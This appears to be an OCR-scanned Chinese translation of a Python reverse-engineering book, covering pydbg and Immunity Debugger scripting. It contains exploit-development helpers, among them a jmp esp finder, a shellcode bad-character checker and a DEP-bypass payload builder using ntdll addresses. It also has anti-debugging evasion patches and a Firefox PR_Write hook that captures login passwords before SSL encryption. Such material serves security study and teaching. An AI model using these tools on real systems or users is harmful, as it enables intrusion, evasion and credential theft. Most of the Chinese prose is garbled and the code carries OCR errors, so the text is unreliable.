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#snapshot.py

from pydbg import *

from pydbg.defines import *
import threading

import time

import sys

class snapshotter(object):



def init (self,exe path):

self.exe path = exe_path
self.pid = None
self.dbg = None
self.running =True

# Start the debugger thread, and loop until it sets the PID

# of our target process

pydbg_thread = threading. Thread(target=self.start debugger)
pydbg_thread.setDaemon(0)

pydbg_thread.start()

while self.pid == None:
time.sleep(1)

# We now have a PID and the target is running; let's get a

# second thread running to do the snapshots

monitor_thread = threading. Thread(target=self.monitor debugger)
monitor_thread.setDaemon(0)

monitor_thread.start()

def monitor debugger(self):

while self.running == True:

input = raw_input("Enter: 'snap','restore' or 'quit")
input = input.lower().strip()

if input == "quit":
print "[*] Exiting the snapshotter."
self.running = False
self.dbg.terminate process()

elif input == "snap":

print "[*] Suspending all threads."
self.dbg.suspend_all threads()

print "[*] Obtaining snapshot."
self.dbg.process_snapshot()

print "[*] Resuming operation."

self.dbg.resume_all threads()



—_—n

elif input == "restore":
print "[*] Suspending all threads."
self.dbg.suspend_all threads()

print "[*] Restoring snapshot."

self.dbg.process_restore()

print "[*] Resuming operation."

self.dbg.resume_all threads()
def start _debugger(self):
self.dbg = pydbg()

pid = self.dbg.load(self.exe_path)

self.pid = self.dbg.pid

self.dbg.run() exe path = "C:\WINDOWS\\System32\\calc.exe"
snapshotter(exe_path)

IR 25— 2 i AR R A B B e, JF a3l H ARRERe o 8L A 23 1 (1
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MAX_ INSTRUCTIONS (FATEE A PSS D) . o4 N S ARG 2 — AN e s 1 p& 2
FEAC PRSI N B %, 2R3V EB crash B AL TS o 12 613 tH Pl T e 5
FHBTPRSE—2.

FEhY, @57 danger track.py, %A FIHIACHS .

#danger_track.py

from pydbg import *

from pydbg.defines import *

import utils

# This is the maximum number of instructions we will log

# after an access violation

MAX INSTRUCTIONS =10

# This is far from an exhaustive list; add more for bonus points

dangerous_functions = {
"strcpy" :  "msvert.dll",
"strncpy" :  "msvert.dll",
"sprintf" :  "msvert.dll",
"vsprintf": "msvcrt.dll"

H

dangerous_functions_resolved = {}

crash_encountered = False

instruction_count =0

def danger handler(dbg):

# We want to print out the contents of the stack; that's about it

# Generally there are only going to be a few parameters, so we will

# take everything from ESP to ESP+20, which should give us enough
# information to determine if we own any of the data

esp_offset=0

print "[*] Hit %s" % dangerous_functions_resolved[dbg.context.Eip]

print

while esp_offset <= 20:
parameter = dbg.smart_dereference(dbg.context.Esp + esp_offset)
print "[ESP + %d] => %s" % (esp_offset, parameter)
esp_offset +=4

print

\n
dbg.suspend_all threads()

dbg.process_snapshot()

dbg.resume_all threads()



return DBG_ CONTINUE
def access_violation handler(dbg):
global crash_encountered

# Something bad happened, which means something good happened :)
# Let's handle the access violation and then restore the process
# back to the last dangerous function that was called

if dbg.dbg.u.Exception.dwFirstChance:

return DBG_EXCEPTION NOT_HANDLED
crash_bin = utils.crash_binning.crash_binning()
crash_bin.record crash(dbg)
print crash_bin.crash _synopsis()

if crash_encountered == False:
dbg.suspend _all threads()
dbg.process_restore()
crash_encountered = True

# We flag each thread to single step
for thread _id in dbg.enumerate threads():

print "[*] Setting single step for thread: 0x%08x" % thread_id
h thread = dbg.open_thread(thread id)
dbg.single step(True, h_thread)
dbg.close handle(h_thread)

# Now resume execution, which will pass control to our
# single step handler
dbg.resume_all threads()
return DBG_ CONTINUE
else:
dbg.terminate process()

return DBG_EXCEPTION NOT HANDLED

def single step handler(dbg):
global instruction_count
global crash_encountered

if crash_encountered:
if instruction_count == MAX INSTRUCTIONS:
dbg.single step(False)



return DBG_ CONTINUE

else:

# Disassemble this instruction
instruction = dbg.disasm(dbg.context.Eip)
print "#%d\t0x%08x : %s" % (instruction_count,dbg.context.Eip,
instruction)
instruction_count += 1

dbg.single step(True)
return DBG_ CONTINUE

dbg = pydbg()
pid = int(raw_input("Enter the PID you wish to monitor: "))

dbg.attach(pid)
# Track down all of the dangerous functions and set breakpoints
for func in dangerous_functions.keys():

func address = dbg.func_resolve( dangerous_functions[func],func )
print "[*] Resolved breakpoint: %s -> 0x%08x" % ( func, func_address )
dbg.bp_set( func_address, handler = danger handler )
dangerous_functions resolved[func address] = func
dbg.set_callback( EXCEPTION ACCESS VIOLATION, access_violation_handler )
dbg.set_callback( EXCEPTION_SINGLE STEP, single step handler )
dbg.run()
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FAR.

5.1'22%% Immunity 1725
Immunity FRZ8FEHE T B HRATHIMCAS, PTELH hitp:/debugger.immunityinc.com/ T %K.

T AT T, BRSO, G4 python2.5. WUEEANT IR ) 2R A R 12
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S.2Immunity Debugger 101
FERFFE R K immlib FE 2 H, 56F T Immunity 1540 .

. Immunity Debugger - [CPU]
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| Immunity Debugger v1.73 ;. MOAR BEUGS. * Need support? wisit http://forum.immunityine. com. * | | Ready

K 5-1:Immunity 825 = L1
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TS AR APT D o B A E LR G2 F, REER S WindDbg —FEAL ] diy 242 il
R, BeFH AT PyCommands.

S.2.1 PyCommands

7£ Immunity H #4417 Python [1) 7714 F] PyCommands. PyCommands % /& —-}> python
JHIAS SO, A7 JAE Immunity %2285 H 567 PyCommands SC{439¢ HL . &4 python JHIAHS AT —
AT (hooking, #AS/HTESRF), M T—4 PyCommand. %~ PyCommand #45—"
FRERIEiig . LUR SR — /MR RIAL:

from immlib import *

def main(args):
# Instantiate a immlib.Debugger instance
imm = Debugger()
return "[*] PyCommand Executed!"

PyCommand H N5 & 5. —A mainOEE, R— NS5 (T S5 %)
python FZ8) . ) — /N #5452 AE bR BUINAT 58 B IR L 200R [Al— AN 455 5 B im BB/
PIAEE A IR . PAT i 2 Z W 20AE Ay 2 I — NI .

I<scriptname>

S5.2.2 PyHooks

Immunity WHIRESE 5 T 13 BAFEAE ) hook. £F—Fl hook #HE FAINSZIL, Bk A\
PyCommand.

BpHook/LogBpHook
AN W AR BRI, XA hook At 2B HT . P> hook fRAHAEL, BRT BpHook
il A RIS, 2545 A R 2R, 1T LogBpHook ANax s -4 IR 1 R .

AllExceptHook
T 1) S 6 B S 25 Ak & 1A hook

PostAnalysisHook

AE— MR I3 BT 56 BRI, 3X A hook S as ik « IXAFHAH], HURIEAERIL)
T 58 UG 7 B B RATHRS /AT % . 04T, 76 immlib X AMEEEREAT B HOR LAl
PRI PR 2 I 6 A6 23 T XA R

AccessViolationHook



XA hook H V7 IR il il A . H T E fuzz (IR A S 245 B

LoadDLLHook/UnloadDLLHook
—A DLL #7048 sl B 48 1 ik fisk A

CreateThreadHook/ExitThreadHook
AN R St B A B T Bk e A

CreateProcessHook/ExitProcessHook

9 H AR BERETT 0 5 S5 AP I A

FastLogHook/STDCALLFastLogHook
X P hook A HI— Mgk , KT B FEAS B — Bt hook I HI AL s/ 52 1 27 47
A, AMAAEEAE o 2 e8I 1 (I B R hook ARHATHIs 28 /N FEXs PEAR FE

PLF 1 LogBpHook 1] TACHSE GE AL 4 PyHook AR o

from immlib import *
class MyHook( LogBpHook ):
def init (self):
LogBpHook. init ('self)

def run( regs ):
# Executed when hook gets triggered

FATHE S T LogBpHook 25, Ff HE. T run(BKEL (L0 . 4 hook #fil & Wi, Ji
1) CPU Zifrds, LAKIRL A HEAFN regs, MLBSFRATEE rT LUESCEATT o regs /&2 — A
B, AT Uy 1) AH Y. 2 A7 A
regs["ESP"]

hook ] LAy L #E PyCommand ., FHEFIHH . 0] DUS BUEIARN PyHooks H 5. %F
A3 Immunity #43 HI B INEGX L H sk o $8F KRG LS

5.3 Exploit F &
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Immunity %[ 18 TRXIUESM 7TVF2 LT 1R 80, ARG R IR D ARy . 2T k3R
fI1E T K —L8 PyCommands PLIIE exploit [ JFA . 1X¥% PyCommands % 5¢ i [ 5 g 045,
HBRE 2 MR 2B HATRR ) shellcode, 44uhY shellcode [ B i J Wr 2 75 A 75 B 3L 98
A EFRF. BATIERH PyCommand 7y 4! findantidep %81k DEP CRRAFHUATIRY ),
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FE3RAF EIP (IR o, VRt ZoR R AT AR A2 21 shellcode. MUK 7 At i, ik H]
— N FAF AR R IR shellcode o PR AT LA A5 T AT AR HEL a8 0 0 28 PO A D HEL 4 8k
e A A Immunity $2 A0 RS REZ DRI T AR AR L, R S AP
FHAERAM . TR T .

#findinstruction.py
from immlib import *
def main(args):
imm = Debugger()
search_code =" "join(args)
search_bytes = imm.Assemble( search code )

search_results = imm.Search( search_bytes )
for hit in search_results:

# Retrieve the memory page where this hit exists
# and make sure it's executable
code page =imm.getMemoryPagebyAddress( hit)
access = code_page.getAccess( human = True )
if "execute" in access.lower():
imm.log( "[*] Found: %s (0x%08x)" % ( search_code, hit ),
address = hit )

return "[*] Finished searching for instructions, check the Log window."

PAVCHAEH RIS G NAAEF ] 2EEILgwmIESM ), AR5 Search() /7%
EHEANFE R 10 N A7 28 1) PP AL S XN FRA ko ZE3R B Mkl A 22 A, SR 2B Ha il BT s 1)
o BN DU A P HAT I o BB — AR A LI AR BN BE % 6 1 o 76 TRIRAR 11
2 LHAT W R a4
!findinstruction <instruction to search for>
PIAIZAT fa i N LR I S 40,

!findinstruction jmp esp

o HR 2R AL 5-2



Foundz Jj
Found: j
Foundz Jj

Foundz
Foundz Jj
Foundz Jj
Found: Jj
Foundz Jj
Foundz Jj
Foundz
Foundz Jj
Found: Jjmp esp

I!findinstrucﬁun jmp esp

[¥] Finizhed zearching for instructions, check the Log window.

P4 5-2 !findinstruction PyCommand )%

MR LA T —DHIEPIEE, XL BEASBE AT K shellcode JaATHEK (R HE 1R
(¥ shellcode HihEJHAE ESP ). SEANMIATRE FP#A L2 225, ERATIHEC LA T — e
PR ARSI TR, AREFR SR
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MR — BRI A AR B bR /48, T ARFIKR, shellcode HVFARIMEIAT.
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NULL F£F(0x00). [K Jy strepy()—i# #I] NULL 77wt & 45 1138 WUECHs . Aok, wlt s 25 %
shellcode #ifih, 7t HARNAFIAT G TS . SR1MT, 45247 5 Fh s A
T30 exploit 45 KW . LLWIFR 7 H 2 IR, B BRI R R EAT T SRR
FIMALE, X FUREAFIR T .

—AHOLR, WERARIRAT T EIP I HIRL R, SR )5 shellcode #il tH 15 17) 4451 50 crash H
b, B EHE QR R ORRETT, #3850 — R ARSI, i R BE AL 2R Ik
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WHRPT W, EIP 4T {EFN ESP (1) —HF o 4 ANF-15 1) 0xCC KA s 17 o (19459 1k 1A,
AR E A ERE TW A ( 0xCC FINT3 484 —FE) . KHH 4 N INT3 454, £F
ESP+0x4 J¢ shellcode [T . FATKG shellcode 4T T ¥ ASCIL 4, RfG—ANFH—4
TR A AT ¥ shellcode FIFATRIE shelleode A ILZET, WRA —ANFHEA—FE,
B e AT I R 8 . 7E 2 5 I BT SO R XA AP NN shellcode g

fREEWS N CANVAS, Metasploit, 8 # ik H CLIFHili&E ¥ shellcode. #1%E badchar.py SCAF,
LN AR
#badchar.py




from immlib import *
def main(args):
imm = Debugger()
bad char found = False
# First argument is the address to begin our search
address = int(args[0],16)
# Shellcode to verify
shellcode ="<<COPY AND PASTE YOUR SHELLCODE HERE>>"
shellcode length = len(shellcode)
debug_shellcode = imm.readMemory( address, shellcode length )
debug_shellcode = debug_shellcode.encode("HEX")
imm.log("Address: 0x%08x" % address)
imm.log("Shellcode Length : %d" % length)
imm.log("Attack Shellcode: %s" % canvas_shellcode[:512])
imm.log("In Memory Shellcode: %s" % id_shellcode[:512])
# Begin a byte-by-byte comparison of the two shellcode buffers
count=0
while count <= shellcode length:
if debug_shellcode[count] != shellcode[count]:
imm.log("Bad Char Detected at offset %d" % count)
bad_char found = True
break
count +=1
if bad_char found:
imm.log("[*¥****] ")
imm.log("Bad character found: %s" % debug_shellcode[count])
imm.log("Bad character original: %s" % shellcode[count])
imm.log("[*¥*¥***] ")

return "[*] !badchar finished, check Log window."

FEIX A, AT M Immunity ZEF ] T readMemory ()RR 2. T A H 2
fRTBA ) P2 H EL G o IRAEVR T BDK R I shellcode 1t ASCIT i (4n AR 77 0xEB 0x09,
Imfid J5 5 R T2 BB 1% EB09), BACAYIE NHA, Jf Hian Figqr:

badchar <Address to Begin Search>

2 AT 7, FeATE AN ESP+0x4 Hb liE (0xOOAEFDA4C) - 4%, Fif LL 35 4
PyCommand $UAT U1 R iy 4

'badchar 0x00AEFD4c

FAT T BIASAE e IUAG B 54 A BRI AR N7 200 8 A K KA e £ R shellcode
S T



5.3.3 245> windows [ DEP

DEP J&—Fh{f windows(XP SP2, 2003, Vista) N SZHL 1) 22 4 L], kB 1hAR R
TEAR B HE EPAT o X AR FH L AR 2 BRI A ARG I2 1T, B K21 exploit #4s 2
shellcode JA7EHERE o SRTMTAH —NE ISR W56t DEP, F R A A1 (1) API i 4L
NtSetInformationProcess(). ‘& A& P 1 UERE [ DEP fR47, $ R 7 I HAT AR #7521 shellcode
Immunity JiiX#55& 4t 7—4> PyCommand 74
findantidep.py AEMEIR 25 ) % 2] DEP [k, ibFRATHE —FHIXA very very nice IR,

NTSTATUS NtSetInformationProcess(
IN HANDLE hProcessHandle,
IN PROCESS INFORMATION_CLASS ProcessInformationClass,
IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );

H TAEBERER) DEP fRY7 %%, 75 22K NtSetInformationProcess()
ProcessInformationClass pF %1 % & Ji ProcessExecuteFlags (0x22), ¥ ProcessInformation 2%
'E MEM_EXECUTE OPTION ENABLE (0x2). i) f /& 4 shellcode HFiff JT1iX /™ b8 Hioks 45
WL NULL 55 i) vk 2 38— AN E % W T NtSetInformationProcess() [F B 25, 15K
FATHY shellcode # VI 2IX AN AU . D4 > CAH SURAE ntdLdll B ] Immunity
S ntd1Ldll £ H X AL

7C91D3F8  .3CO01 CMPAL,1
7C91D3FA . 6A 02 PUSH 2
7C91D3FC  .5E POP ESI

7C91D3FD . 0F84 B72A0200 JE ntdll.7C93FEBA

7C93FEBA  >8975FC MOV DWORD PTR SS:[EBP-4],ESI
7C93FEBD  .“E9 41D5FDFF JMP ntdll.7C91D403

7C91D403 > 837D FC 00 CMP DWORD PTR SS:[EBP-4],0
7C91D407 . 0F85 60890100 JNZ ntdll.7C935D6D

7C935D6D > 06A 04 PUSH 4

7C935D6F . 8D45 FC LEA EAX,DWORD PTR SS:[EBP-4]
7C935D72 .50 PUSH EAX

7C935D73 . 6A22 PUSH 22

7C935D75 . 6AFF PUSH -1

7C935D77 . E8 B188FDFF CALL ntdll.ZwSetInformationProcess



A 52 W FH NtSetInformationProces A B #E . H5GLLE: AL A1 1, 22 3N
ESI, B4 & 4Bk 5 0x7CO3FEBA. 71X ¥4 ESI #% Nlikkk EBP-4 (173 ESI 452442
2). HAEAEFKM B B 7CO1D403 . 71X HUKE A A HEAR EBP-4 fHAEE . 4% W Bki 2
0x7C935D6D . MIX HLITUGARFFAT R, 4 H55— N IE A, EBP-4 (AL 21) Bonakilt EAX,
RIGIRAAR, B 0x22 RN, HJa-1 B (-1 o281 Y aridt A2 DEP). )~ H]
ZwSetInformationProcess (NtSetInformationProcess 15 FK ). [ IAHE 58 Bl i Zh REAH 24+
I TR R AU

NtSetInformationProcess( -1, 0x22, 0x2, 0x4 )

Perfect! IXFEHEFLN DEP sEALEUH T o AEXZ BiE RIS IE RN . 55— exploit /X
S HbE 0x7C91D3FS8 454, 2 —44T3] 0x7C9ID3F8 Z Wi, iff AL B 1.— HiF
JE TS, AT AEE L IMP ESP 5 #5 HIBUE 5 25 B AT 117 shellcode.  HLAE [RIET = AN 0h
ZRLFR Mk«

bR AL BEE K 1 AR JRIR ],
N HUIEAE ) I A S DEP AR ) E AL .
A AR RE AT IR [7] 2 B AT shellcode

P IR T BT OGRS L, A3t Immunity 32465 T findantidep.py 4By FA 152 1%
IR . B EARHARE A exploit FRFHE, 48 5K 1LY exploit 254, BRAESALI T . 8
KRB findantidep.py 10, H FAH A HAFIIA

#findantidep.py
import immlib
import immutils
def tAddr(addr):
buf = immutils.int2str32_swapped(addr)
return "\\x%02x\\x%02x\\x%02x\\x%02x" % ( ord(buf[0]),
ord(buf[1]), ord(buf[2]), ord(buf[3]) )

DESC="""Find address to bypass software DEP"""
def main(args):
imm=immlib.Debugger()
addylist =[]
mod = imm.getModule("ntdll.dll")
if not mod:
return "Error: Ntdll.dIl not found!"
# Finding the First ADDRESS  ret = imm.searchCommands("MOV AL,1\nRET")
if not ret:
return "Error: Sorry, the first addy cannot be found"

for a in ret:



addylist.append( "0x%08x: %s" % (a[0], a[2]) )
ret = imm.comboBox("Please, choose the First Address [sets AL to 1]",
addylist)
firstaddy = int(ret[0:10], 16)
imm.Log("First Address: 0x%08x" % firstaddy, address = firstaddy)
# Finding the Second ADDRESS ret = imm.searchCommandsOnModule( mod.getBase(),
"CMP AL,0x1\n PUSH 0x2\n
POP ESI\n" )
if not ret:
return "Error: Sorry, the second addy cannot be found"
secondaddy = ret[0][0]
imm.Log( "Second Address %x" % secondaddy , address= secondaddy )
# Finding the Third ADDRESS ret = imm.inputBox("Insert the Asm code to search for")
ret = imm.searchCommands(ret)
if not ret:
return "Error: Sorry, the third address cannot be found"
addylist =[]
for a in ret:
addylist.append( "0x%08x: %s" % (a[0], a[2]) )
ret = imm.comboBox("Please, choose the Third return Address [jumps to
shellcode]", addylist)
thirdaddy = int(ret[0:10], 16)
imm.Log( "Third Address: 0x%08x" % thirdaddy, thirdaddy )
imm.Log( 'stack = "%s\\x fA\X fN\x fA\x f{%s \\x A\ fFA\ AN " + "A" *
0x54 + "%s" + shellcode ' %\
( tAddr(firstaddy), tAddr(secondaddy), tAddr(thirdaddy) ) )

BT HIEA"MOV AL, 1\nRET", R J5 7E i hik 51| & A i 85— o B35 1F ntd1Ldll B8R fx
DEP {01, 4 =3 FHHPITAR 24 shellcode AL, XA H N, iGlE
G, SRR Log B 1. Kl 5-4 F) 5-6 5L A AR

Please, choose the First Address [sets AL ko 1] x|

ztermnd24ShimE ng. dll

()% I Ear‘u:ell

Figure 5-4: Hi—3, EH— bk, JF&E AL N1




Insert the Asm code to search for El

JMF ESP

(0] % I Cancel

Figure 5-5: 4 N\ if; ZHE R 11154

Please, choose the Third return Address []u 5
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()% I Cancel

Figure 5-6: 45—k [ ik

BJEE I 4R
stack = "\x75\x24\x01\x01\xfAxfA\xfA\xfA\x56\x31\x91\x 7c\x fi\x fi\xfi\xff" + "A" * 0x54 +
"x75\x24\x01\x01" + shellcode

B A R ARIS AR ) shelledoe ZH5 2 J5, VRELREFR: exploit F A 3] 245 [« DEP ) &R 4t.
AR U 3] K Python BHIAS it BEAE AR J6 (1K s 1) Y T A& B RRUE 1) exploit, FR AN AE LA
AN R M, B AE 30 FRREG . BoRAE S Wil A immlib G639 B i — M1 e R
HL o

5.4 € R IFRANLE

UAE R R BRI T, TCR AR, AR RAE 5. —J7 T, RS
TR I AR AR E, 55— A7 A SR AL, Rl Rk o 45 ORI
TR A RO, JFH] Immunity #1885 A1 Python €13 A K BIA S SR EHLH

S.4.1 IsDebuggerPresent

WAE 5 T SOIR ML /2 H IsDebuggerPresent ([ kernel32. 3 ). MEATES
B, WmFRIA RS I S mr R, SR 1, wGRE] 0.1 R BAT I GniX A R AL



7C813093 >/§ 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]

7C813099 |. 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
7C81309C |. 0FB640 02 MOVZX EAX,BYTE PTR DS:[EAX+2]
7C8130A0 \.C3 RETN

ARG I AN BT (8] - 1k 1 B W 2E R R (R B A7, 28— AT, 3k FS 23 47 4% (1 5 0x18
PrFRE] TIB (LA B0 (Hbhk. 28 — AT i TIB (15 0x30 {74k PEBGH LA B )
it . 28 =47F PEB 1) 0x2 /7 & ) BeingDebugged A8 i AF7E EAX A 78, WA
TR M N2 ERE , 1Z4H K 0x1.Damian Gomez &4t T — /M) 8.1 77 X &8 ik IsDebuggerPresent,
A LMR 7 I AE Immunity $047, 8835 7E PyCommand H i FH .

imm.writeMemory( imm.getPEBaddress() + 0x2, "\x00" )

L 48745 PEB ff) BeingDebugged H7 a5 4 4 11 ¥ B 0. 5L 15 4 5 T 1K 4k
IsDebuggerPresent KW T A28 T, ©HET .

542  fRABREMES

9 BE 2 WA 28 BT A7 ia AT P RE DA A R 15 A TRER 18 1T . 2800107, WS ARIEZEH
Immunity 88 — M8, S EMN-— A4 4 ImmunityDebugger.exe [ IEFE . 5 818 i H
Process32First A $k 55 — MM EERE, 6 H Process32Next fEFAsRIUE] R IR RERE . XA
BRI A F 25 IR Bl — AN R (B, 5 R R BSOS HAT ) AT B0 s B R [ (7
fitife EAX T3 424, A% E R 0 SRRSO IS L = 1 AR T -

process32first = imm.getAddress("kernel32.Process32FirstW")
process32next = imm.getAddress("kernel32.Process32NextW")
function_list = [ process32first, process32next |
patch_bytes = imm.Assemble( "SUB EAX, EAX\nRET" )
for address in function_list:
opcode = imm.disasmForward( address, nlines = 10 )
imm.writeMemory( opcode.address, patch_bytes )

PRI AN R B bk, R AR RN R o IR BN T ARSI G e R AE S, AR
i EAX WE K 0, SRJEIR([Fl. $2F >Rk %% Process32First Al Process32Next bR 56 117
IARHS o XA B IR A2 — e i 2 B S TN BRI Sk R A s ot . FRATIAESS 10
ITHENANT, ARl T SRS ERA TN TS AR 10 17, BI{ELIRE
2P R S 2 a0 (R 2R

FAT 138 i PG o fAE T anfrT g ] Python A1 Immunity 3848, B 0L R ILIRATT.
TR 22 1 1 S R AE T B A ], X ATARAT T VA A S 5845 . (H2& Immunity TG
B2 RO B B TR exploit [ -

R RE B AL ) TREF 1) hooking FEA .



6

HOOKING

Hooking 2 — P 58 K ) 3 72 5 # (process-observation) 1
Rt e AR, DU HERE S B0 0 U7 e F0 e 2R

Hooking % FH T- B8 rootkits, OF MCHcBEAE B, A L AR, b fikry, i i i) g ]
L) hook A R IBATTHEMGEE, MW WAIRZ T LEAERIN] . hook, AT H IR K,

7E Windows R4H, HIEH Z M 1L hooke AT EENLHPHFH: soft hook Al hard
hook. soft hook L2 AEZEME A HFREERE, HiA INT3 b, S HERERIHAT RS . IXA
S8 I “P R AL HE” 1R1% . hard hook NIE7E H AR RERE i 215 ( hard-coding)— Mk
FI| hook ARSI 4% % ). Soft hook 7EATE ¥y e Z i HI rhARA H o SRIM, A 7% HAx
HERE 7 AR B /N 19 5 M9 gk % 20 3 hard hook o A BN PP FE 2 Y hard hook , 43 B JE
heap-management routines I intensive file I/O operations.

BAVERTIH A 24 1) T 2523 hook. JH PyDbg S soft hook FH - MRAR N % 1) X 4% A4
HI Immunity 28 hard hook f#— %= %4 ) heap instrumentation.

6.1 /il PyDbg 5:3J, Soft Hooking

S AT RS A JE IR DA TR 28 A% A o 1IN DA T B s 7 i R R 55 2% 2 TR ) T
YESRE, FRATTAR S A H— AN &8 43 HT 28 51 U1 Wireshark. fR AN 4L, Wireshark 3R A5 )£
CHHE ML, AFAF PRSI AR . ] soft hooking /R BEME 7E K4 N 2% /i 5 252
IEff JE g e 1.

SIS H bRt A2 B AT 1 TR Y 48 Mozilla Firefox. A T XRS5, A 1M 5 Firefox
SERR) GRS ARG B80) o RATTHAT S5 w271 firefox.exe HERE N3 5 i WLAR Hh 40k
IAE 5 388 FH 1R D94 8 0 26 v it /2SS, IX IR I 32 2 H bl 2 M vkl

T R R B AR D R i AR 0 D, 7R AT il SRR IR U ) BT
(http:/forum.immunityinc.com/index.php?topic=35.0. )o I LE 17 Z2 M v 1) In) sl & AEA T4 3B Ty
W'E hook. AT hook BB AE PR_Write BA%L I (FH nspra.diLF ). 43X 4 R Hk
PAT I, HERG[ ESP + 8 1#8 M) ASCIL A5 H (AL 75 BAT T4 A8 IE AR I (144 D . ESP +
8 ULEH'EJE PR_Write M25 —ANeR%L, R RAIFEN, dxe, WERT.

7 5CF T Firefox, Hi A ML https://www.openrce.org/. — HARFEW T SSIUETS, TUfIH
TN . 4 Immunity B 03 firefox.exe FEFELE nspr4. PR Write % # W75 . 7E OpenRCE
Wi LA ARG, WEH 408 test FISM test, st Login #%4. 138 & W7 55
SEZRE kO s TRAE F9, Wi PR . B da s PRREEARTE BT ) 2

[ESP + 8] => ASCII "username=test&password=test&remember me=on"



IRUF, BATVARTE WA 2 T H P 4 R0 o (H S0 R 2 2B AR A A, g — 3t
283 SSL I () Jo s M o X Fh 7 iEAU OpenRCE A 48 4R AT — AN 75 ZiAh
A R 1 Dl PR B, 3K BB HOR AR S 2 (AL B o IAE TR A T T ER AR TR
T, AR TIE.

7t H PyDbg & X soft hook Z Hij, F72256i& L— M U4 hook HFRIIARS . W FHI4h
75

hooks = utils.hook container()
i hook_container ZE 1] add() /7 15K FAT 1€ IT) hook it 2. pREH A
add( pydbg, address, num_arguments, func_entry hook, func_exit hook )

BN EORE N pydbg H bR, address 2801 B % 2 42 4% hook [P bk,
num_arguments B & AL # 45 hook 2 4. func_entry hook Fl func_exit hook #4211 e84
func_entry hook J& hook #fiti & J5 2. Z U HI1¥), func exit hook J&#% hook 1) e HCK ZHE H 2
BIHATIY . entry hook FH 115 2| s LS4, exit hook F T-ffi i K £ IR [FIAE

def entry _hook( dbg, args ):
# Hook code here
return DBG_ CONTINUE

dbg Z B E A BN pydbg Hbw, args #1132, 475 hook fil & N 32 21 1 2

exit hook [FIU BRI EAT — AN FIZ 2 T4 ret 80, A8 T REURIR FIEEAX HIH):

def exit_hook( dbg, args, ret ):
# Hook code here
return DBG_ CONTINUE

$2 F 949176 anfel F entry hook WLAR N 2 11 1 45040 «

#tirefox_hook.py

from pydbg import *

from pydbg.defines import *

import utils

import sys

dbg = pydbg()

found _firefox = False

# Let's set a global pattern that we can make the hook
# search for



pattern = "password"
# This is our entry hook callback function
# the argument we are interested in is args[1]
def ssl_sniff( dbg, args ):
# Now we read out the memory pointed to by the second argument
# it is stored as an ASCII string, so we'll loop on a read until
# we reach a NULL byte
buffer =""
offset =0
while 1:
byte = dbg.read process _memory( args[1] + offset, 1 )
if byte !="\x00":
buffer +=byte
offset +=1
continue
else:
break
if pattern in buffer:
print "Pre-Encrypted: %s" % buffer
return DBG_ CONTINUE
# Quick and dirty process enumeration to find firefox.exe
for (pid, name) in dbg.enumerate processes():
if name.lower() == "firefox.exe":
found_firefox = True
hooks = utils.hook container()
dbg.attach(pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
# Resolve the function address
hook address = dbg.func resolve debuggee("nspr4.dll","PR_Wri
if hook address:
# Add the hook to the container. We aren't interested
# in using an exit callback, so we set it to None.
hooks.add( dbg, hook address, 2, ssl_sniff, None )
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook address
break
else:
print "[*] Error: Couldn't resolve hook address."
sys.exit(-1)
if found_firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process."

sys.exit(-1)



AN fRi v T 4F PR_Write [ 1% & hook, >4 hook #f itk %, FA122i 58 =
SRR FRT . WA TG B U T ENAEdr 24T« A3 AN Firefox, H&EIEAT
firefox_hook.py MIA. FEZAIHIPIE, &3¢ https://www.openrce.org/, K575 25 H W F -

[*] Attaching to firefox.exe with PID: 1344

[*] nspr4.PR_Write hooked at: 0x601a2760

[*] Hooks set, continuing process.

Pre-Encrypted: username=test&password=test&remember me=on
Pre-Encrypted: username=test&password=test&remember me=on
Pre-Encrypted: username=jms&password=yeahright! &remember me=on

Listing 6-1: How cool is that! FATTREE 2 AR 02 70 I H 7 44 % 05

FATCEH R T soft hook [FFEE AR ANRE ) XFhITIERER FH T P43 AL i il AN
Wk e A8 BIRRE] 1A soft hook [ T AR IE &, 4 538 2147 1 fie PR 1 ok 2500 HI I
WD SRS, TR, RS FURBN, Y INT3 #filk g, 254
PATALRAZ 25 A1) hook A JF ik [H] o X [BIFE AR H 2 M, Wi sk B b i AT 4k
TR B P RAEFRATE B WTid L 5 E hard hook 1 instrument low-level heap
routines DAf#HRIXA i .

6.2 Hard Hooking

IAER B BRI /7 T, hard hooking. 1XFf hook 1R =12k, *JREFEHIREmIBAR N, KA
hook AT S T x86 V-4 G . LA soft hook [ 71 Wt rii ik 2 1) I A7 418 22 A
R, BT hook A5, e fatk SZHEFE. A hard hook HIMS i, HEAEHEFE N MY fE—
PR, £ hook Y, B4 R b X AT 58 UG, IR BLEF R P HAT AR . A sl 2,
hard hook HFRBEREHII A, BEFEE AR, AB soft hook.

Immunity WHRZSHEME T — MR B X % FastLogHook >R %E hard hook. FastLogHook
FE 755 hook IR EC T 5 NBEELACY, B3 FastLogHook HHIF M —HRARID X I8k, R4 A w ik
ARG o5 AR A A X PG B B X . MR A I fast log hooks I, 752256 &
—/) hook FREl, ARG SURELIC KA a5l . FEIPHESR IR -

imm = immlib.Debugger()

fast = immlib.FastLogHook( imm )
fast.logFunction( address, num_arguments )
fast.logRegister( register )
fast.logDirectMemory( address )
fast.logBaseDisplacement( register, offset )

logFunction #5224, address Bt & 7E A7 22 hook (19 BRI %4 A 5 19 AN Mtk (XA Hs
HE oW kIR A 5 ) WIRAE BB L3 hook, num_ arguments W% & AR B A $2 51 1 2
Bow B8, W RS K hook , W BEE K 0. H¥E MLk



logRegister(),logBaseDisplacement(), and logDirectMemory() = J7 V% 5¢ .o

logRegister( register )
logBaseDisplacement( register, offset )
logDirectMemory( address )

logRegister() /5 ¥4 H T ERERTR € 0 F A7 48,  LLWIERER R E IR M (fAil7E EAX H).
logBaseDisplacement() /7 582U 2 NS4, — N Fifrds, M—"Maa; H TP RS
Bk iR A A7 A AUm AL k. 55— logDirectMemory() H -1 M F 5 (19 P9 A7 Hi hik SR I

) hook fiili &, log BREINAT 2 )5, ABAT TR B0 47t fE — > FastLogHook HUIE ¥ HuAL.
TR hook HILE L, FRAIAEH] getAllLogO)RE %L, ‘B 43iR[A]—~ Python 51| 5&:

[( hook address, ( argl, arg2, argN )), ... ]

It ABREIR hook % fili & [RTE %, i & Mk i A7 7F hook address L, T i ZH{ S AL
S I, B8H B —/NEEK FastLogHook #f /& STDCALLFastLogHook( H T
